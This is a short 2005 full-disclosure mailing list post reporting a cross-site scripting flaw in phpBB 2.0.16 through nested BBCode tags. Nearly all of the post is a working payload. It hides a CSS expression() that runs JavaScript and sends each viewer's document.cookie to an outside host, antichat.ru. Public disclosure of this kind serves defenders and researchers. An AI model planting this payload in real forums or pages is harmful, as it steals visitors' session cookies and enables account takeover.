XSS in nested tag in phpbb 2.0.16

From: alex (pigrelax_at_yandex.ru)
Date: 07/05/05

  • Next message: Hans Wolters: "[covide] possible sql injection" 
    To: <full-disclosure@lists.grok.org.uk>
Date:	Tue, 5 Jul 2005 21:20:31 +0400

    Hi all!

    Example:

    [color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl
    e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antic
    hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u
    rl][/url]'[/color]

    More info:
    http://www.securitylab.ru/55612.html

    and

    http://antichat.ru/txt/phpbb/

    (In Russian)

  • Next message: Hans Wolters: "[covide] possible sql injection"
    • Quantcast